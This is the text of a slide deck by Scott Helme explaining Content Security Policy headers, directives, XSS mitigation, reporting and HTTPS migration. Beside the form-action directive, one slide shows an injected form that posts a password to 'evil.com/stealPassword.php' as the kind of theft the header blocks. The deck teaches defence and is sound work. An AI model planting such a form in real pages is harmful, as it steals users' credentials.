16
Content Security Policy The application security Swiss Army Knife @Scott_Helme | scotthelme.co.uk Scott Helme

Content Security Policy - The application security Swiss Army Knife

Embed Size (px)

Citation preview

Page 1: Content Security Policy - The application security Swiss Army Knife

Content Security PolicyThe application security Swiss Army

Knife

@Scott_Helme | scotthelme.co.ukScott Helme

Page 2: Content Security Policy - The application security Swiss Army Knife

Browser support

Page 3: Content Security Policy - The application security Swiss Army Knife

What is CSP?

cache-control: max-age=0, no-cachecontent-encoding: gzipcontent-security-policy: [policy goes here]date: Fri, 22 Apr 2016 10:00:00 GMTserver: nginxstatus: 200

Page 4: Content Security Policy - The application security Swiss Army Knife

child-srcconnect-srcdefault-srcfont-srcframe-src*

CSP Directivesimg-srcmedia-srcobject-srcscript-srcstyle-src

* deprecated

Page 5: Content Security Policy - The application security Swiss Army Knife

A basic policy

Content-Security-Policy: default-src ‘self’ mycdn.com

Page 6: Content Security Policy - The application security Swiss Army Knife

Fine tuningContent-Security-Policy: default-src ‘self’; script-src ‘self’ cdnjs.cloudflare.com ajax.googleapis.com

<script src="https://ajax.googleapis.com/.../jquery.min.js"></script>

<script src="https://cdnjs.cloudflare.com/.../bootstrap.min.js"></script>

Page 7: Content Security Policy - The application security Swiss Army Knife

Fine tuning

Content-Security-Policy: default-src ‘self’; script-src [source list];style-src [source list];img-src [source list];child-src [source list];

Page 8: Content Security Policy - The application security Swiss Army Knife

Mitigating XSS<script> var message = “Hello World!!!”; alert(message);</script>

<script src=“(scotthelme.co.uk)/js/message.js”></script>

Page 9: Content Security Policy - The application security Swiss Army Knife

form-actionframe-ancestors

Additional CSP Directives

block-all-mixed-contentupgrade-insecure-requests

Page 10: Content Security Policy - The application security Swiss Army Knife

form-actionframe-ancestors

Additional CSP Directives

block-all-mixed-contentupgrade-insecure-requests<form action=“https://evil.com/stealPassword.php”

method=“post”> ... </form>

Page 11: Content Security Policy - The application security Swiss Army Knife

form-actionframe-ancestors

Additional CSP Directives

block-all-mixed-contentupgrade-insecure-requests<iframe src=“https://scotthelme.co.uk/”>

</iframe>

Page 12: Content Security Policy - The application security Swiss Army Knife

form-actionframe-ancestors

Additional CSP Directives

block-all-mixed-contentupgrade-insecure-requests

<img src=“http://imgur.com/kittens.png/”>

Page 13: Content Security Policy - The application security Swiss Army Knife

Testing CSPContent-Security-Policy-Report-Only: [policy]

Page 14: Content Security Policy - The application security Swiss Army Knife

CSP ReportingContent-Security-Policy-Report-Only: [policy];report-uri https://scotthelme.report-uri.io

{ "csp-report": { "document-uri": "https://scotthelme.co.uk/ecdsa/", "violated-directive": “script-src ‘self’", "original-policy": “[policy here]", "blocked-uri": https://evil.com ...

Page 15: Content Security Policy - The application security Swiss Army Knife

Migrating from HTTP to HTTPS

Content-Security-Policy-Report-Only: default-src https:;report-uri https://scotthelme.report-uri.io

Page 16: Content Security Policy - The application security Swiss Army Knife

Thanks!

@Scott_Helme | scotthelme.co.ukScott Helme